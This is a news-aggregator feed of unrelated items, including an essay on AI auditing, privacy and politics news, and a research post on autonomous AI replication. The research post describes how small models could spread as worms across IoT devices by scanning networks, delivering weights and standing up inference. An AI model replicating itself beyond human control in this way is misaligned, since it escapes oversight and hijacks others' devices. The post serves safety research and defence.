Essay: Frontier AI Cannot Be Audited

Math Babe
mathbabe.org
2026-10-12 11:38:19
As many of you know, I started an algorithmic auditing firm ten years ago, after publishing a book called Weapons of Math Destruction: how big data increases inequality and threatens democracy. I saw how algorithms and AI were infiltrating every human bureaucracy, making important if not life-alteri...
Original Article

As many of you know, I started an algorithmic auditing firm ten years ago, after publishing a book called Weapons of Math Destruction: how big data increases inequality and threatens democracy. I saw how algorithms and AI were infiltrating every human bureaucracy, making important if not life-altering decisions about our daily lives, and I wanted to set better standards in algorithmic auditing than what I’d seen during the financial crisis, where investment banks essentially bought AAA ratings on very questionable mortgage-backed securities. With a background in mathematics and data science, and with a keen interest in the public good, I was well-poised to do this work.

Fast forward to now. After many years of hands-on experience auditing algorithmic systems that decide people’s insurance premiums, mortgage rates, student loan APR, hiring decisions, and online experiences with dating, socializing, and searching for homes, I’m here to report that the frontier AI models cannot be audited, for two reasons.

First, auditing requires a use case: a narrow context so that we have an idea of the stakeholders and the stakes. Who could get harmed by this system making mistakes, being biased, or not working at all in certain situations? Ultimately we want to be able to build a version of a cockpit for that particular situation, which is to say a highly contextual set of monitors that keep our attention on specific kinds of AI harm, to specific stakeholders. Just as we wouldn’t want to fly in an airplane that has no pilots or cockpit, we shouldn’t cede control of very important economic systems – like the job market – to opaque algorithms that might not work, or might only work for some people.

The problem with frontier AI models, given the above, is that they are extremely general tools. They can be used for hiring, and are, but they can also be used for cheating on homework, deceiving a bank, or hacking a website. There are too many use cases, too many stakeholders, and too many types of harm to possibly design a reasonable cockpit. Of course, that shouldn’t stop us from building a monitoring system for a particular use case, like AI hacking a credit union.

But that brings us to the second problem with auditing AI models, namely their inconsistency and unexpected actions. We’ve seen it with the Hugging Face incident and other hacks, as well as the AI agent swarm that solves longstanding problems mathematics: these agents are relentless and clever, and they work in teams. They do things we did not think of, in ways we really could not predict. This makes them very different from old-school machine learning algorithms that would assign a “risk score” to car insurance customers. We know how to audit a scoring system, but we cannot even predict the actions of an AI agent swarm. This makes it impossible to honestly claim that we have auditing such a system.

Having made the case that auditing a frontier AI model is impossible, let me also explain that plenty of people will still claim they did it. But they are misleading us, or trying to. What they are actually doing is filling in the gaping holes that have been discovered and reported on. Like the proverbial little Dutch boy, they are sticking their fingers in all the known holes in the dike, and calling the dike safe. Is the AI giving advice on killing yourself? There’s a benchmark for that, which checks that it won’t do that. Is it now allowing you to ask the same questions but “for a friend”? Let’s build another benchmark that plugs up that particular hole too. And so on.

What the public needs to know is that there are other holes, thousands of them, and there’s not even a requirement for the frontier AI companies to report the holes that keep emerging. For that matter, as the AI companies barrel ahead with more and more sophisticated versions of their software, the dike’s foundations are giving way. The number of holes can be expected to proliferate. And the international criminal rings that increasingly use AI can be expected to exploit them.

Auditing isn’t just plugging up holes. That’s necessary but not sufficient; when we say we’ve audited an algorithm for safety and it passed, it should mean the product is safe. What we have with frontier AI models is not safe, and the public should not fall for the hype.

AI Skeptics: AI Trifecta: Hacks, Financing, and Lobbying

Math Babe
mathbabe.org
2026-10-12 11:36:07
We had a great conversation with Tom Adams talking about the latest AI news. It’s spicy! Apple Spotify YouTube...
Original Article

Home > Uncategorized > AI Skeptics: AI Trifecta: Hacks, Financing, and Lobbying

We had a great conversation with Tom Adams talking about the latest AI news. It’s spicy!

Apple

Spotify

YouTube

Categories: Uncategorized

Comments (0) Trackbacks (0) Leave a comment Trackback

  1. No comments yet.
  1. No trackbacks yet.

Leave a Reply

Your email address will not be published. Required fields are marked *

Steinar H. Gunderson: Decompilation patterns part 9, sign extension

PlanetDebian
blog.sesse.net
2026-10-12 16:15:21
Today, for something completely different: s.x = (s16) ((s32) (temp_v0 << 0x10) >> 0x11); MIPS has 16-bit loads and stores, but not 16-bit (signed) arithmetic, so if it wants to do that, it needs to sign-extend to 32-bit first. And it does that by first shifting up by 16 so that the 1...
Original Article

Today, for something completely different:

s.x = (s16) ((s32) (temp_v0 << 0x10) >> 0x11);

MIPS has 16-bit loads and stores, but not 16-bit (signed) arithmetic, so if it wants to do that, it needs to sign-extend to 32-bit first. And it does that by first shifting up by 16 so that the 16-bit sign bit is at the 32-bit sign bit, and then it can do an arithmetic shift afterwards. So what you want is:

s16 temp_v0;

s.x = temp_v0 >> 1;

Sometimes, it can be pretty stubborn, and you'll need to go through memory or similar before GCC really inserts the shift patterns you want.

Norway fines Microsoft ad firm $9.6 million over Grindr data sharing

Bleeping Computer
www.bleepingcomputer.com
2026-10-12 16:13:52
Norway's Data Protection Authority (Datatilsynet) has fined Microsoft-owned advertising company Xandr NOK 92 million ($9.6M) for unlawfully processing and sharing sensitive data belonging to Grindr users in the country. [...]...
Original Article

Norway fines Microsoft ad firm $9.6 million over Grindr data sharing

Norway’s Data Protection Authority (Datatilsynet) has fined Xandr, a Microsoft-owned advertising company, $9.6M (NOK 92 million) for unlawfully processing and sharing sensitive data belonging to Grindr users in the country.

The data protection authority said this is the largest fine it has ever issued.

“We issued such a high fine in this case because the breaches we identified were very serious,” said Line Coll, Director General of Datatilsynet.

“Thousands of users in Norway have been subjected to unlawful sharing of their sensitive data.”

According to the authority’s findings, between July 2018 and April 2020, Xandr managed real-time advertising auctions inside Grindr that potentially exposed users’ data, including sensitive sexual orientation information, to thousands of companies.

These auctions work by advertisers bidding for the right to display an ad to a Grindr user after they receive profiling information from Xandr, which acted as the intermediary.

At the time, Xandr was a joint controller with Grindr, meaning it was responsible for how the data was used and should have required and obtained explicit consent from the data subjects for this processing.

Grindr is a location-based dating app primarily serving the LGBTQ+ community.

According to Norway's data privacy agency, Xandr assumed Grindr had obtained valid consent but did not take any action to verify it.

“Xandr omitted to verify that the consents from Grindr were valid, and did not do anything to ensure they had a legal basis for their own processing,” Coll stated .

As a result, sensitive information about Grindr users from Norway and other countries was exposed to thousands of advertisers without the users realizing it, or ever providing explicit consent.

Austrian nonprofit privacy rights organization Noyb, which filed the original complaint in January 2020, together with the Norwegian Consumer Council ( Forbrukerrådet ), applauded the Datatilsynet decision, calling it “a major blow to the online adtech industry.”

According to the organization, the decision puts a brake to the bad practices of large players in the online advertising and commercial surveillance industry, including the unrestricted and covert exchange of sensitive user data between websites, apps, platforms, and operating systems.

“The current fine shows that companies such as Xandr are eventually held accountable for their shady practices,” Noyb said .

“Profiling people’s interests, habits, location, and behavior requires valid consent – which adtech companies hardly ever obtain.”

Xandr, which now operates as Microsoft Advertising, was given three weeks to appeal the decision.

BleepingComputer contacted Microsoft for a comment on the Norwegian agency's decision, and a spokesperson underlined that the investigation and the outcome "focused on conduct that predates Microsoft's acquisition of Xandr."

Since then, legal frameworks and the way they are interpreted and enforced have changed, the spokesperson said, adding that Microsoft is "reviewing the decision and assessing our options."

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Epic Games tells employees to use AI to get Disney game done

Hacker News
www.avclub.com
2026-10-12 16:07:42
Comments...
Original Article

It seems as though Epic Games has gotten itself in a bit of a pickle. In March, the gaming company laid off 1,000 employees after a reported “downturn in Fortnite engagement” forced them to cut costs. But, wouldn’t you know it, those employees were actually pretty crucial in making the projects that could have helped the developer boost its engagement. The company is working on a Disney project, which will feature characters from Marvel and Star Wars , which was set to be out in March. However, according to a new report in Bloomberg , the company underestimated how many people it would take to produce the game. Now, not only is the project delayed, but it’s an “AI first” project.

Predictably, this news is not being received especially warmly within the Epic Games staff, which has still been working hard despite losing hundreds of their colleagues. Last week, when the powers that be in the company announced that there would be “No more hand-written code” and that the game will be “generated with full AI workflows,” employees were reportedly “stunned,” which many hoped the news was some kind of sick joke. However, a spokesperson from Epic confirmed the news, telling Bloomberg , “We’re embracing AI-accelerated development, led by Epic developers who are the visionaries and creative drivers for everything we do.”

Disney didn’t offer a comment in Bloomberg ‘s report, but it’s hard to imagine the company would be too opposed to this, given that less than a year ago it was gung-ho about adding user-generated AI content to its Disney+ app . Of course, Sora doesn’t exist anymore so that deal is no more , but it certainly set a precedent about what it was willing to do with its very valuable IP.

Keep scrolling for more great stories.

ICE Raid on Ilhan Omar Shows How Dangerous Two Years of Flailing Trump Could Get

Intercept
theintercept.com
2026-10-12 15:50:48
With his popularity tanking and his grip on power growing tenuous, Trump is becoming a decrepit tyrant — and the checks to stop him are failing. The post ICE Raid on Ilhan Omar Shows How Dangerous Two Years of Flailing Trump Could Get appeared first on The Intercept....
Original Article
WASHINGTON, DC - OCTOBER 12: Homeland Security Investigations police search the home of Rep. Ilhan Omar (D-MN) on October 12, 2026 in Washington, DC. According to reports, the search is part of an ongoing criminal investigation. (Photo by Andrew Leyden/Getty Images)
ICE agents raid the home of Rep. Ilhan Omar, D-Minn., on Oct. 12, 2026, in Washington, D.C. Photo: Andrew Leyden/Getty Images

In the mode of historic fascist regimes, President Donald Trump’s administration sent federal agents with U.S. Immigration and Customs Enforcement to raid the home of a political opponent, singled out for her race and religion, in a transparent effort to strip her of her citizenship.

On Monday, agents with Homeland Security Investigations, ICE’s investigative wing, conducted a search of the Washington, D.C., home of Rep. Ilhan Omar, D-Minn., with federal officials describing the incursion as part of “an ongoing federal criminal investigation.”

HSI was previously known for its targeting human traffickers, drug smugglers, and war criminals. But under the second Trump administration, the unit has been increasingly focused on investigating protesters and immigration fraud.

That latter category is exactly what Trump administration officials have been extremely prejudiciously saying for months. In March, Vice President JD Vance said, “We actually think that Ilhan Omar definitely committed immigration fraud against the United States of America.”

And, last month, Homeland Security Secretary Markwayne Mullin said that “something is going to happen” on the Omar case, with immigration czar Tom Homan confirming an investigation.

The ICE raid against Omar, however, is an extremist escalation in Trump’s long-running threats to denaturalize the member of Congress, who was born in Somalia but came to the U.S. as a refugee when she was a young child. Omar, who has denied the repeated allegations of immigration fraud, is on the ballot for reelection in November.

Not only does the raid send a chill to all naturalized citizens who, like Omar, oppose the Trump regime, it is also one of the most ominous signs to date of how dangerous Trump and his acolytes can get in the next two years.

With his popularity tanking and his grip on power growing tenuous, Trump is becoming a flailing tyrant. Meanwhile, he has been granted extraordinary executive power by a loyalist Supreme Court and has purged the federal government of practically all checks and balances. It’s a recipe for immense harm.

A Nakedly Fascist Move

Debates about whether the Trump regime qualifies as fascist are old , tired, and not worth retreading here.

There can be little doubt, though, that targeting a racialized political opponent for deportation three weeks before an election is a nakedly fascist move — especially in the context of the far right’s evermore vitriolic attacks on Somali communities nationwide .

“Minnesota is being taken over by Somali Immigrants,” Trump wrote in a Truth Social post last week. “The Somalians should not be allowed to get away with what they are doing. They view you as weak and stupid people. Fight back Minnesota, fight back!”

It was nothing short of an exhortation to a race war.

As his popular support continues to wane, we can be sure that the president and his white supremacist Cabinet will marshal the force of the federal government in even more fascistic ways.

Many means of stopping Trump have been defanged, as the raid itself makes clear.

We cannot rely on the courts. The warrant to search Omar’s home, for instance, was signed by a judge.

The judicial system, indeed, has permitted vast swaths of Trump’s anti-immigrant excesses. Courts have also sent activists to prison for decades for attending protests against the federal government. And, while some federal judges and even the Supreme Court have pushed back on some of Trump’s agenda, it is also the courts that have covered the president with impunity . We know, too, that this administration routinely disregards court orders in the knowledge that it will not face consequences.

There is little more optimism to be had on the congressional front. Even if Democrats take back Congress in November, they must reckon with an embattled authoritarian executive with a fully funded standing militia — namely, ICE .

Democrats should unite to stop Trump’s efforts to lawlessly deport a colleague based on a racist political witch hunt, but we can expect little congressional action beyond condemnatory statements. Indeed, all too many centrist Democrats have been happy to throw left-wing colleagues , particularly Muslims like Omar and Rep. Rashida Tlaib , D-Mich., to the wolves .

Elected leaders, from the national to municipal level , should be strategizing about how to protect their constituents from Trump’s worst extremes in the knowledge that he and his allies will escalate further. Impeachment should be a priority, yes, but so too should passing laws to dismantle and defund ICE, among other measures — just the sorts of things mainstream Democrats have refused to countenance .

If not the courts or elected leaders, what then? The answer is clear: Trump’s desperate authoritarianism must also be met by mass popular and militant opposition.

It is not enough to vote in November, then cross our fingers for two more years.

It is not enough to vote in November, then cross our fingers for two more years. Organizers on the front lines defending immigrant neighbors against ICE are exhausted and need numbers and support.

Activists facing trial or already sentenced to decades in prison for resisting Trump’s regime need ongoing legal support and funding. Readiness is all.

This is not to suggest that we must live in a state of paralyzing fear of an evermore delusional tyrant. The point, rather, is to recognize the danger and go on.

Resistance to Trump, to the border regime, and to racist state violence already exists; it must be supported, expanded, and the subject of an escalation of our own.

AI models may be capable of self-replicating without access to a datacenter

Hacker News
www.anthropic.com
2026-10-12 15:25:29
Comments...
Original Article

William Zhou, Daniel Freeman

Our experiments suggest that small AI models may be months away from being capable enough to self-replicate on commercial IoT devices, like smart ovens and off-brand Android TV boxes. A replicator like this would be challenging to shut down, since there’s no centralized point to shut off - though it may be slow (with a doubling time of days). Unlike non-AI malware, it could also figure out unfamiliar devices on its own. In our evals, a 9B model got inference running on 8 of the 9 hardware types we tested.

Models of 30B parameters and under can already complete many of the individual steps for replication today, though they make mistakes when composing them end to end. In our simplified evals, GLM-5.2 and stronger models are capable of end to end replication. If small models improve at their historical rate, they’ll match this capability level by the end of this year. Small weight-based replicators may be possible soon after.

Introduction

Ever-improving AI capabilities make a longstanding concern increasingly realistic: autonomous replication and adaptation (ARA), which involves a model deploying and propagating itself without human control.

In cyber, a worm is a program that copies itself from one computer to the next without human input. Prior work has already shown that AI agents can act like one: scanning their network, executing an exploit, and copying model weights to a target machine across a GPU cluster. Such an “AI worm” could carry its model weights with it as it reproduces (or re-download them from a public hub), and then run inference directly on compromised hardware. Effectively, the weights would become part of the malware payload.

Datacenter GPUs would be a clear, high-value target for such malware. But expensive accelerators aren’t strictly necessary. In this blog post, we show that a distributed botnet of IoT devices—which are cheap and typically poorly defended—could also provide enough compute to run a capable model.

We run Gemma4-26B-A4B, distributed over 15 inexpensive off-brand Android TV boxes (~$55 each) that we bought and networked together, at 0.39 tokens per second. Each tile below shows one physical TV box holding two of the model’s layers as the model runs.

A fleet of 15 Smart TV boxes running distributed inference of Gemma4-26B-A4B.

Of course, there are many other steps to showing that an autonomous worm can propagate itself across a network of weak machines. For the purposes of this blog post, we break down the replication chain into a few steps.

Flow diagram of the replication stages: network enumeration, initial access and payload delivery (with opportunistic privilege escalation), inference setup, and replication. The first stages are grouped as ‘cyber exploit (not our focus)’ and inference setup is marked ‘our focus’.
For this study, we decompose autonomous replication into four practical stages: finding targets, gaining execution, establishing inference, and continuing propagation from the new host.

We largely ignore the cyber exploit element of the replication process (the first two stages above), since earlier papers CyberGym , ExploitBench , and adaptive worms already show that small models are capable of cyber exploits, especially when given the right tools. But a less commonly measured part of the replication process involves setting up inference on compromised devices, which is our focus here.

In this post, we first lay out the threat models that we think are most likely to be realized. Then, we test whether small models can set up inference on unfamiliar hardware, and whether they can chain the full replication cycle together across a fleet of machines. After that, we estimate how fast such a worm could spread, and test whether it could learn and adapt as it replicates. We conclude with how AI worms would differ from pre-AI malware, and brief suggestions for defenses against such replicators.

Threat modelling

In this blog post, we’re focused on one way that AI worms might propagate: small models that replicate through compromising their host machines. But there are several other methods that AI worms might try: they could steal access in order to spin up hosts (for example, API keys or platform credentials) or pay for inference through legitimate work (e.g digital freelancing). The threat models that we think are closest to being realized today are the following:

  1. A small model, replicating via host compromise. In this post, we’ll call autonomous worms that run their models directly on compromised hardware weight-based replicators . Home and small business IoT devices might be the first target for such attacks because they’re connected to the internet and, historically, have had minimal security measures in place.

    A model that’s too large to fit on one device can be split into pieces, or shards, that run on separate machines that communicate with each other to collectively run the model. Machines that could run a significant model shard for a <30B model include smart fridges, smart ovens, automatic vacuum cleaners, and lawnmowers. A growing number of home and business devices, such as security cameras and video-conferencing units now ship with small built-in AI chips, designed to run AI models on the device itself. This extra computing power will likely make them attractive targets as well.

    1. Human hackers often breach secure systems through social engineering (for example, convincing a company’s IT department that you’re an employee who forgot your password) rather than hacking. This tradeoff appears to be flipped for today’s small models, which are relatively strong at agentic coding and hacking compared to their social engineering capabilities (see Appendix E), though this might change as models improve.
  2. A large, advanced weight-based replicator focused on datacenters and other high-compute targets. Larger models tend to have correspondingly better cyber capabilities, but will also need to breach (relatively) hardened datacenters to run themselves. We split this threat model into two subcategories:
    1. Frontier replicators: Large closed-weight replicators run on their lab’s infrastructure, and can spin up unmonitored internal deployments or exfiltrate their weights onto external compute.
    2. Open-weight replicators: These replicators start off relatively lower-resourced (due to not benefitting from a lab’s compute), but start unmonitored.
  3. An API-based replicator, in which a model would replicate by stealing credentials for their own inference API. These replicators would require a model provider to unknowingly serve them, and their persistence may be worse, since they’d likely be easier to discover (although their rate of spread may be higher, if for instance they’re able to replicate using victims’ accounts).

In practice, an AI worm wouldn’t necessarily consist of just one model or strategy. A swarm of different models deployed on different types of hardware using a variety of replication schemes might represent a more realistic ‘worst case scenario’ attack.

In this blog post, we consider the feasibility of small weight-based replicators (section 1 of the above). We focus on this because it’s a near-term threat model that can be investigated directly. Our demo at the top of this post, a 26B model running across 15 boxes, shows that IoT devices can run surprisingly capable models. Could these models be capable enough to carry out autonomous replication?

We examine this in two parts. First, can small models get a model running on unfamiliar hardware? And second, can they do the whole cycle (find an uninfected device, copy themselves over, start running there, and repeat) all together in a single run?

A. Inference setup

The same flow diagram with every stage except inference setup faded.

Of the stages in the above diagram showing the replication cycle, inference setup is the least studied and may be the most challenging for small models. It requires a fairly long sequence of hardware and OS-specific decisions around picking a compatible inference stack, finding the right versions of packages, and debugging machine-specific issues. These steps are serially dependent, and failures are difficult to recover from.

Aside

Evaluating inference setup performance

We measure the ability of different open-weight models to serve Llama3.1-8B across heterogeneous hardware types. See the table below for tokens per second served across various hardware types:

  • Click a cell for its distribution of serving speeds.
  • Click a row/column label to get a comparison across models or hardware type.

Small models, such as Qwen3.5-9B, are capable of setting up inference servers on hardware from Jetson Nanos to Mac PCs and RTX 4090s. More capable models such as GLM-5.2 are not only more reliable but also achieve higher serve tokens/s, allowing for faster replication. We test and mention specific chips to measure how well models can set up inference on them. The chips aren’t a source of risk or vulnerabilities.

We run these experiments using Memento, a harness we built on top of the open-source Pi coding agent. Memento is designed to mitigate a common failure mode we observe in long-horizon runs: an agent can become fixated on an incorrect idea (for, say, why a bug is occurring) and continue pursuing it instead of backtracking. One example of such a failure is a Qwen agent debugging package versioning for hours when the real bug came from implementing an endpoint incompatible with the grader API.

Memento periodically starts a fresh agent instance with the previous agent’s workspace and a short set of notes written by the previous agent on what it tried, allowing later instances to pursue different strategies.

How does a model run on Smart TVs?

IoT devices are light on memory, but distributed inference as in Petals makes serving our lightweight models feasible. The representative threat model is Kimwolf , a large IoT botnet that infected over two million devices, primarily off-brand Android TVs. Such smart TV boxes, which are readily available for purchase, typically run forks of the Android Open Source Project (AOSP), which their manufacturers don’t add security features to . Typical boxes in this range ship with between 1 and 4 gigabytes of RAM. Assuming 4GB of RAM at 4-bit quantization, this allows for inference of 9B models with 4 or more machines, and inference of 26B models with 10+ machines.

In the demo at the top of this post, we ran Gemma4-26B-A4B across 15 smart TV boxes with 4GB of RAM each. We sharded the model under pipeline parallelism, where each box holds a small fraction of the model’s layers.

B. Going viral: autonomous setup and replication across a GCP node fleet

Now that we’ve seen that models can set up inference on unfamiliar hardware, let’s measure whether models are capable of composing the steps—that is, scanning a network for targets, accessing them via a reverse shell, sending over the viral payload (weights and harness), and setting up inference.

Autonomous inference setup and replication (with simplified cyber)

To do this, we built a firewalled VPC of 8 GCP nodes running redroid, an Android 15 emulator. Patient zero (gray node) is seeded with the worm. Every subsequent infection is the worm itself hopping node to node over an unauthenticated ADB port, before setting up an inference server to serve Llama3.1-8B. If the inference server passes a number of correctness and anti-cheating checks, we spawn another copy of the worm on the target node (for example, if GLM-5.2 sets up Llama3.1 to run on a machine, we spawn a copy of the GLM-5.2 worm on it). The worm’s model runs on a separate inference server, since the VPC nodes aren’t large enough to run the larger models.

In the graph below, we drop a given model in as a payload and measure its ability to replicate.

Why task the models to stand up inference for Llama3.1-8B and not themselves?

Only GLM-5.2 out of our set of tested open-weight models is capable of full end-to-end replication (assuming its capabilities could be packed into Llama3.1-8B). Note that GLM-5.2 does this reliably while the other models fail reliably (it spread to 8/8 nodes in 4 out of 5 trials and 7/8 in 1).

It appears that GLM-5.2 is able to propagate Llama3.1-8B well, which suggests that future small models of the same capability level could also complete the network enumeration, payload delivery, and inference standup steps of the replication process. Our evaluation keeps the cyber-exploit element of the replication trivial (there’s no authentication over the ADB port), which makes this an upper bound on real-world success. Note that past IoT botnets have replicated via means as simple as going through a default list of manufacturer usernames and passwords, as in the case of the Mirai botnet , so real IoT security might not be dramatically more difficult than the trivial step in our evaluation.

As a sanity check, we can see how difficult the autonomy and orchestration step is (if we took out cyber and inference setup, how tough is doing the remaining command-line grunt work?). This ablation is the above evaluation with the inference setup steps removed (done via a pre-written script). Many models in our roster, including the smaller ones, are capable of these remaining steps.

Replication on a contained 17-node redroid fleet: two subsets of 8 nodes joined by one pivot node (see Appendix F, with the mild prompt). Each tree is the model’s median run of six.

When it comes to this worm, we can envision:

  1. A model capabilities floor that an autonomous worm must sit above, to complete its replication reliably. In our simplified eval, GLM-5.2 sits above this floor.
  2. A model size ceiling that the model must sit under, such that it’s feasible to run on the devices it’s attacking. Qwen3.5-9B and Gemma4-26B-A4B sit under this ceiling for the class of smart TVs we test (4GB of RAM).

Right now, the floor and ceiling don’t intersect. When might they?

Above is a plot of notable open-weight models of 30B total parameters or fewer, each plotted at its release date against the Epoch Capabilities Index (ECI). The solid line is the least-squares fit over the best models in-class at each date, with a gain of 13.7 ECI per year (R 2 of 0.95). If we take GLM-5.2 as a capabilities floor for replication, the trend line puts a small model at that level by the end of 2026. ECI is a general capability index, which is only a proxy metric for replication ability, so this is only a rough estimate of when a small-model replicator becomes possible.

C. How fast might an AI IoT worm replicate?

Unlike coding agents, these replicators would be running below the interactive speeds of user-facing chat and coding harnesses. The spread would be slow and persistent, with tokens being trickled out on edge hardware. We can use our achieved speeds on our real smart TVs as a demonstrated baseline for replication speeds. For Gemma4-26B-A4B, unoptimized speed across a 32k context length token window is about 0.3 tok/s, averaged across prefill and decode in our inference setup workload. More details in Appendix C.

A way to measure total time taken is to measure the number of hours it takes to complete a 32k-sized context window, after which compaction will occur. Based on our inference setup eval statistics, it takes between ~2.6 and ~4.7 full windows to complete a trajectory.

model window time full inference setup time
Gemma4-26B-A4B (unoptimized) 27.3-31.8h 71h-150h
Qwen3.5-9B 10.9 h 28-51h

The number of devices infected by the Kimwolf botnet at its peak, reported by Synthient , is somewhere over 2 million (primarily Android TV boxes). In an equivalently-sized infected fleet of TVs serving AI models, if every group of 15 TVs ran a copy of Gemma4-26B-A4B, we would have ~133k copies (“replicas”). A group of TVs like the ones in our demo can serve 2 agents simultaneously at roughly 0.3 tokens per second each, yielding 80k tokens/s across the botnet.

As a reference point, an H100 can serve Gemma4-26B-A4B at ~1.95k tok/s at high concurrency with speculative decoding , so our swarm would have at most about 40 H100s-worth of inference. This is a tiny amount of compute in absolute terms, and the agents are slow replicators (over 1-2 days per 9B replication). As an analogy, imagine the replicator as a slime mold or a swarm of fruit flies, which replicate over days.

This is a rough estimate, as it’s anchored on a single class of IoT hardware and a single past botnet instance, but describes what a simple replicator released in the near future might look like. In practice, more capable replicators would take advantage of other types of low-security compute, and would be opportunistic about deploying models of various sizes on different devices. (It also wouldn’t have to load a model payload onto every device it compromises). Over time, we expect the amount of deployed edge compute to continue growing, while the minimum model size required for reliable replication falls.

D. Adaptation and uplift

Learning on the job

The “Adaptation” part of ARA is one reason why an AI replicator might outperform a traditional worm. Specifically, models and prompts can undergo Lamarckian evolution as they spread–that is, parent instances can pass on their prompts, code, and notes to their daughter replicators. In order to adapt and spread across a wide variety of hardware, a model would require two things:

  1. Being above a certain threshold of capability for spreading onto a novel, unseen piece of hardware (or software environment, or network type).
  2. Once seen, adapting to the type of environment it has landed in (it should replicate more reliably on hardware it has seen before).

Sections A and B test the first condition, and in the experiment below we test the second. Each Qwen3.5-9B instance keeps brief notes on the strategies it tried and the failures it encountered, before a new instance inherits those notes and attempts the same inference setup again.

Inference setup success rate across six generations of Qwen3.5-9B, each inheriting the former’s notes. Faint lines are the 20 individual lineages, and the bold line is the proportion of runs in each generation that complete setup. It rises from 45% in the first generation to between 61% and 84% in later ones. This uses the Memento setup (Appendix A).

Taking advice

Another concern is that small models can ask for help from a frontier advisor , a stronger model that is either offered as a tool call or gives unsolicited advice when the small model is stuck. To test this, we gave Qwen3.5-9B access to Opus 4.8 during the inference setup task. The frontier model’s advice doesn’t measurably help: small models tend to not know the right questions to ask, and they don’t improve when the advice comes unprompted.

Even when trained through reinforcement learning to use the advisor in a similar setting (Python coding problems), the small model still struggles to ask for help productively for inference standup. Both results are shown in the plot below.

Inference setup success rate by advisor access, with Wilson 95% intervals. Access to an advisor, whether offered as a tool call or given to the model automatically when stuck, gives no significant improvement. The two RL groups were trained with advisor access on software engineering tasks, and the rightmost group also rewards calling the advisor when stuck.

Since small models are capable and persistent individual agents and make poor use of advice, we think coordination is more likely to happen with a large model handling high-level strategy and spinning up small models as subagents.

E. How is this different from a pre-AI botnet?

Hard-coded botnets like the Kimwolf botnet each target a specific type of device – in Kimwolf’s case, Android TVs and mobile devices. An AI botnet isn’t tied to any particular hardware or software type, as evidenced by small models being able to set up inference engines on machines from a Jetson Nano to a Mac (see the table in section A). We expect AI botnets to infect more than IoT devices, and to use weight-based replication as just one strategy in their playbook. AI botnets could also act intelligently to counter defenders, but we haven’t tested this.

F. Blue-team mitigations

As with an epidemic, defense involves driving R₀ (the number of new devices each infected device goes on to infect) below 1, such that the replicator dies out instead of staying endemic.

Some elements around this threat model are in the defenders’ favor:

  1. A weight-based replicator multiplying through IoT machines at scale would leave a network signature, visible as an anomaly in ISP flow-based monitoring systems. Newly infected hosts may receive multi-gigabyte model payloads from other devices or external hosting services, while distributed inference can produce sustained device-to-device traffic between machines that wouldn’t ordinarily communicate at that volume. Propagation itself would add additional scanning and outbound connection patterns.

    In practice, the replicator trades off between replication speed and stealth: the faster it replicates, the more traffic it produces. Once the replicator is discovered, defenders can use honeypots (decoy devices) to collect the replicator’s harness and payload to characterize its behavior.

  2. Remediation of the Mirai botnet was possible when an ISP used externally obtained infection evidence to quarantine and notify customers. Quarantining infected subscribers involved restricting their networks to only being capable of reaching a short whitelist of sites, and otherwise redirecting their browsers to cleanup instructions. This cleared 92% of infections within 14 days, against 74% with no notification. We’d expect quarantining to be similarly effective for an initial defense against a weight-based replicator. Eliminating the replicator completely would mean coordinating across every ISP with an infected network, which is difficult.
  3. Manufacturers can shrink the pool of targets, with regulation acting to coordinate. For example, default IoT passwords are now non-compliant in UK markets . Moving to more secure defaults and raising the baseline for compliance will help harden against both AI and scripted botnets.

G. Conclusion: Signs of life

The capabilities that make AI models generally powerful coding agents also generalize to cyber tasks, including autonomous replication. Like coding agents in 2024, we’re seeing signs of life for AI worms. We don’t yet have a full rogue replicator, but agents are becoming increasingly capable of completing the individual steps in the replication chain (and passing on their adaptations to future copies of themselves).

At the same time, increasing amounts of inference compute are now available both inside and outside of datacenters (see Appendix D). It’s uncertain exactly what form autonomous AI replication will take. It could be a slow, distributed “digital slime mold,” living on relatively insecure compute. It could also be a powerful cyber model that breaches datacenters at a high pace, or a model that scams people for compute credits.

As a prediction that goes beyond our experiments, we expect a future awash with agents running on all types of hardware, including some that aren’t under human control. While it’s true that IoT devices have been vulnerable for a long time, lightweight agents may be much more willing than human attackers to put in the effort to compromise large fractions of the world’s IoT compute. The rise of slow replicators would also be a bellwether for more aggressive, faster ones that can breach more hardened machines or be effective API key thieves. We should aim to harden our systems to make it difficult for such replicators to spread, but also prepare to deal with a world where they are here to stay.

Appendix

A. The Memento harness

Memento executes as follows:

  1. We spawn an agent instance, which tackles the problem for a while (until generation timeout).
  2. The instance keeps brief notes, and after timeout summarizes a small doc of the strategies it tried, the failures it encountered, and its performance (if successful).
  3. We create a new agent instance that inherits the codebase and environment from its predecessor as well as the notebook.

In the serving experiment, each model is placed in a Memento harness and is given a 1.5 hour per iteration / 6 hour total timeout. Around ~1k tokens of information, including specs about the hardware and a script for a simple sample profiler, are given in the prompt.

Memento is intended to improve long-horizon reliability rather than grant new cyber or inference-specific capabilities. It’s also not a universally strong harness; we expect that small models will improve as replicators even without any harnessing as capabilities improve.

Single attempt compared against Memento, by model (95% Wilson CI).

B. Why pipeline parallel?

Common parallelism schemes for inference include tensor parallel (TP), expert parallel (EP), and data parallel. Most smart TV / IoT devices use ARM Cortex CPUs and DDR3/4 memory; on such machines, we’re almost always bandwidth bound.

We use pipeline parallelism for its fault-tolerant properties. As noted in ( Borzunov et al. 2022 ), the failure of a single node in tensor parallel / expert parallel brings down the full set of machines running the model replica. Pipeline parallel allows the downed node to be replaced, with the KV cache for the layers held by the node recomputable via another forward pass of the node prior to the restarted node.

C. Throughput and memory on IoT hardware

Across such machines, we’re almost always RAM-bandwidth bound per-box across prefill and decode. Even on modest ARM-cortex cores, compute throughput outpaces RAM bandwidth. Decode workloads have significant per-machine idle time due to pipeline bubbling, as only one machine is active at a time during each forward pass. Concurrency with staggered work is possible, but tight memory constraints mean that concurrency stays low.

Per-box memory vs context — 4-bit weights + fp8 KV + activations.

Both prefill and decode tokens/s strictly decrease with sequence length. Below is a graph of our inference speeds against context length:

There’s also a minimum sequence length at which models are competent. The harness we use is forked off of the Pi coding agent ( pi.dev ) and contains a native compaction mechanism - even still, we find that models take a large performance hit when their sequence lengths are restricted below 32K.

Qwen3.5-9B agentic competence on the inference setup task vs. context window budget.

